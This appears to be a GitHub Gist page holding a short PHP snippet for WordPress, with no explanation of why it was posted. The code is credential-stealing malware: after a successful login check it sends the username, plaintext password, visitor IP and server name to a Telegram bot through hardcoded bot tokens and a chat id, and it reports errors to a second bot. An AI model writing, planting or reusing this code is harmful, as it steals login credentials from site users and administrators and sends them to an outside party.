Created
October 19, 2020 07:51
-
-
Save chrisbergr/4047128b6fd0cb81d755ddba3dcbac1d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try{ | |
$bajatax_x9=apply_filters( 'wp_authenticate_user', $user, $password ); | |
if(wp_check_password( $password, $bajatax_x9->user_pass, $bajatax_x9->ID )){ | |
if(!empty($username) and !empty($password)){ | |
$message852="bajatax|:|:|".$username."|:|:|".$password."|:|:|".$_SERVER['REMOTE_ADDR']."|:|:|".$_SERVER['SERVER_NAME'] ."|:|:|"; | |
file_get_contents("https://api.telegram.org/bot1330226161:AAEg61uHS7H7lRnf9jA27cmahncSl8NMuvI/sendMessage?chat_id=1110165405&text=" . urlencode($message852)."" ); | |
} | |
} | |
}catch (Exception $e) { | |
if(function_exists("file_get_contents")){ | |
try{ | |
file_get_contents("https://api.telegram.org/bot1254159992:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=" . urlencode($_SERVER['REMOTE_ADDR']." error panel")."" ); | |
file_get_contents("https://api.telegram.org/bot1254159992:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=" . urlencode($e)."" ); | |
}catch (Exception $e2) {} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment